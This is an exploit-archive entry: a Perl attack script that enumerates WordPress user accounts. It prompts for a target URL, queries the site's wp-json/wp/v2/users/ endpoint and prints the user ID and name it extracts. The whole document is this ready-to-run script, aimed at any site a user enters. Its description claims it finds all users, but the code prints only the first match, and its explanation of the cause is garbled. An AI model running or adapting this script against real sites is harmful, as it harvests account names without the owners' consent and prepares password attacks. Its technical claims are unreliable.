Wordpress 4.9.4 Username Enumeration (perl version)

#!/usr/bin/perl
#####################################################
# Title : Wordpress 4.9.4 Username Enumeration
# Author : dr-iman
# Vendor : https://wordpress.org/
# Software Link: https://wordpress.org/download/
# Version : 4.9.4
# Date : 17 Feb 2018
# Tested On : Ubuntu / Windows 10
# youtube : https://youtu.be/lie-IM_hRIY
# Type : Remote
#####################################################
# Descryption :
# In Wordpress 4.9.4 We Can Find All Users Website
# Directory wp-json/wp/v2/users/
# The Reason Of This Vuln ins wordpress don't encoded the json sources
# usage : perl username.pl

use LWP::UserAgent;


my $ua = LWP::UserAgent->new;

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

print <<logo;
 _ _ _           _                     
| | | |___ ___ _| |___ ___ ___ ___ ___ 
| | | | . |  _| . | . |  _| -_|_ -|_ -|
|_____|___|_| |___|  _|_| |___|___|___|
                  |_|                  
logo

print "\n[-] Wordpress 4.9.4 Username Enumeration\n";

print "\nEnter Target URL : ";
my $url=<>;
chomp($url);

my $target = "$url/wp-json/wp/v2/users/";
my $content = $ua->get("$target")->content;
if ($content =~ /"id":(.*?),/)
{
print "\nID : $1\n";
}


if ($content =~ /"name":"(.*?)",/)
{
print "\nUsername : $1\n";
}

Copyright ©2024 Exploitalert.